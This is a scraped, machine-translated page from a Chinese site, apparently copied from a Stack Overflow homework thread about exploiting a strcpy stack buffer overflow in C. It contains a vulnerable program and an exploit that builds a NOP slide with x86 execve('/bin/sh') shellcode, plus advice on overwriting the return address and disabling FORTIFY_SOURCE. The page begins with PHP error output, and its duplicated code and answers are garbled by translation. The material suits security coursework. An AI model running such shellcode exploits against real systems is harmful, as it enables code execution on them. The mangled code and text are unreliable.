Warning: file_get_contents(/data/phpspider/zhask/data//catemap/4/c/69.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
C 作为homeowrk的缓冲区溢出_C_Buffer Overflow_Shellcode_Stack Smash_Fortify Source - Fatal编程技术网

C 作为homeowrk的缓冲区溢出

C 作为homeowrk的缓冲区溢出,c,buffer-overflow,shellcode,stack-smash,fortify-source,C,Buffer Overflow,Shellcode,Stack Smash,Fortify Source,我仍在学习安全类的缓冲区溢出内容,试图利用此应用程序中的漏洞: //vuln.c #include <stdio.h> int bof(char *str) { char buffer[12]; //BO Vulnerability strcpy(buffer,str); return 1; } int main(int argc, char* argv[]) { char str[517]; FILE *badf

我仍在学习安全类的缓冲区溢出内容,试图利用此应用程序中的漏洞:

//vuln.c
#include <stdio.h>

int bof(char *str)
{
     char buffer[12];

     //BO Vulnerability
     strcpy(buffer,str);

     return 1;
}

int main(int argc, char* argv[])
{
     char str[517];

     FILE *badfile;
         badfile = fopen("badfile","r");

     fread(str, sizeof(char),517, badfile);
     bof(str);

     printf("Returned Properly\n");
     return 1;
}
//exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

const char code[] =
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;


int main(int argc, char* argv[])
{
    char buffer[517];
    char large_string[512];
    FILE *badfile;
        badfile = fopen("./badfile", "w");

    //NOPslide
    memset(&buffer,0x90,517);

    //BEGIN FILL BUFFER
         //from stack_smashing.pdf
    long *long_ptr = (long *) large_string;

    int i;
    for (i = 0; i < 128; i++) 
        *(long_ptr + i) = (int) buffer;

    for (i = 100; i < strlen(code)+100; i++) 
        large_string[i] = code[i];

    strcpy(buffer,large_string);
    //END FILL BUFFER

    //save buffer to badfile
    fwrite(buffer,517,1,badfile);
    fclose(badfile);

    return 0;
}
//vuln.c
#包括
整型转炉(字符*str)
{
字符缓冲区[12];
//BO漏洞
strcpy(缓冲区,str);
返回1;
}
int main(int argc,char*argv[])
{
char-str[517];
文件*坏文件;
badfile=fopen(“badfile”、“r”);
fread(str,sizeof(char),517,badfile);
转炉;
printf(“正确返回\n”);
返回1;
}
使用此漏洞利用应用程序:

//vuln.c
#include <stdio.h>

int bof(char *str)
{
     char buffer[12];

     //BO Vulnerability
     strcpy(buffer,str);

     return 1;
}

int main(int argc, char* argv[])
{
     char str[517];

     FILE *badfile;
         badfile = fopen("badfile","r");

     fread(str, sizeof(char),517, badfile);
     bof(str);

     printf("Returned Properly\n");
     return 1;
}
//exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

const char code[] =
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;


int main(int argc, char* argv[])
{
    char buffer[517];
    char large_string[512];
    FILE *badfile;
        badfile = fopen("./badfile", "w");

    //NOPslide
    memset(&buffer,0x90,517);

    //BEGIN FILL BUFFER
         //from stack_smashing.pdf
    long *long_ptr = (long *) large_string;

    int i;
    for (i = 0; i < 128; i++) 
        *(long_ptr + i) = (int) buffer;

    for (i = 100; i < strlen(code)+100; i++) 
        large_string[i] = code[i];

    strcpy(buffer,large_string);
    //END FILL BUFFER

    //save buffer to badfile
    fwrite(buffer,517,1,badfile);
    fclose(badfile);

    return 0;
}
//exploit.c
#包括
#包括
#包括
常量字符代码[]=
“\x31\xc0”
“\x50”
“\x68”“/sh”
“\x68”“/bin”
“\x89\xe3”
“\x50”
“\x53”
“\x89\xe1”
“\x99”
“\xb0\x0b”
“\xcd\x80”
;
int main(int argc,char*argv[])
{
字符缓冲区[517];
字符大_字符串[512];
文件*坏文件;
badfile=fopen(“./badfile”,“w”);
//无幻灯片
内存集(&buffer,0x90517);
//开始填充缓冲区
//来自stack_smashing.pdf
long*long_ptr=(long*)大_字符串;
int i;
对于(i=0;i<128;i++)
*(long_ptr+i)=(int)缓冲区;
对于(i=100;i

出于某种原因,当我通过运行漏洞攻击创建坏文件时,它不会向它推送任何东西。缓冲区为空或写入不正确。我似乎找不到我的错误,在不知疲倦的谷歌搜索之后,我没能找到足够的答案。根据我对所使用的填充缓冲区代码的理解,这应该用缓冲区的地址填充long_字符串,然后将外壳代码放在long_字符串的开头(在一段NOOP幻灯片之后),然后将long_字符串复制回缓冲区。我真的看不出这或这本书有什么问题。建议?

代码中缺少一件非常重要的事情。我会让你自己去发现,但我可能会帮助你看一个非常简单的缓冲区溢出问题,我以前解决过这个问题

将此视为具有漏洞的目标代码-易缓冲区溢出

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int foo(char *arg)
{
  char buf[200];
  strcpy(buf, arg);
}

int main(int argc, char *argv[])
{
  if (argc != 2)
    {
      fprintf(stderr, "target1: argc != 2\n");
      exit(EXIT_FAILURE);
    }
  foo(argv[1]);
  return 0;
}
检查你的代码,让我知道这是否有效

此外:


不管你是否接受stdin的大字符串,写这篇文章都是不好的做法。

好吧,你需要了解粉碎堆栈的真正效果。它基本上粉碎了许多值并覆盖了一个特定的地址,该地址基本上是堆栈上返回指针的地址(
$ebp+4
)。您肯定是在试图破坏堆栈,但是为了准确地理解需要用另一个指向外壳代码的地址覆盖的地址,您必须做大量的工作

目前,这两件事你都无法做到

您应该使用gdb或其他工具查看实际易受攻击代码的汇编代码并查看返回地址。基于此,您可以尝试使用命令行粉碎堆栈

然后在不破坏堆栈的情况下运行攻击代码。尝试捕获实际的返回地址,您应该指向放置外壳代码的位置

你应该按照phrack上的阅读来真正理解粉碎堆栈的概念。希望有帮助

在测试期间,您需要解决的一个问题是这个函数调用

FORTIFY_SOURCE使用高风险函数的“更安全”变体,如
memcpy
strcpy
。当编译器可以推断目标缓冲区大小时,它会使用更安全的变量。如果副本将超过目标缓冲区大小,则程序将调用
abort()


要禁用FORTIFY_SOURCE进行测试,您应该使用
-U_-FORTIFY_SOURCE
-D_-FORTIFY_SOURCE=0
badfile-fopen(“badfile”,“r”)
代码中的一个打字错误,或者您的帖子?假设
sizeof(long)==4
(即32位程序),代码应该按原样工作。假设sizeof(long)>4,代码本身存在缓冲区溢出。@ughoavgfhw这肯定是一个错误!谢谢你接电话。哈我对那件事感到很傻!arg1[215]='\xbf';你不认为这是缓冲区溢出(char arg1[215]=“”;)shell代码来自我的分配,可以看到。我使用您建议的外壳代码也得到了相同的结果。我目前正试图看到你希望我从你的漏洞中看到什么。c,但我认为我没有看到。我不明白您使用/tmp/target1,是不是应该是/bin/sh?抱歉,这对我来说还是很新鲜,教授/助教并不擅长简单地解释问题。我已经通读了其中的大部分内容,我从中提取for循环,试图填充我的缓冲区。我返回并从该页面完成了overflow2.c和overflow3.c。我想我应该尝试修改overflow3.c中的代码来解决我的问题,这是一个好的思路吗?你可以这样做。但是,这样做的目的是设计代码并粉碎堆栈,从而在函数从strcpy或其他易受攻击的函数返回时更改返回地址。但是看起来你可以破解这个问题。但是如果你认为答案已经解决,你可以标记答案。祝你好运
strcpy(buffer,large_string);
strcpy(buffer,large_string);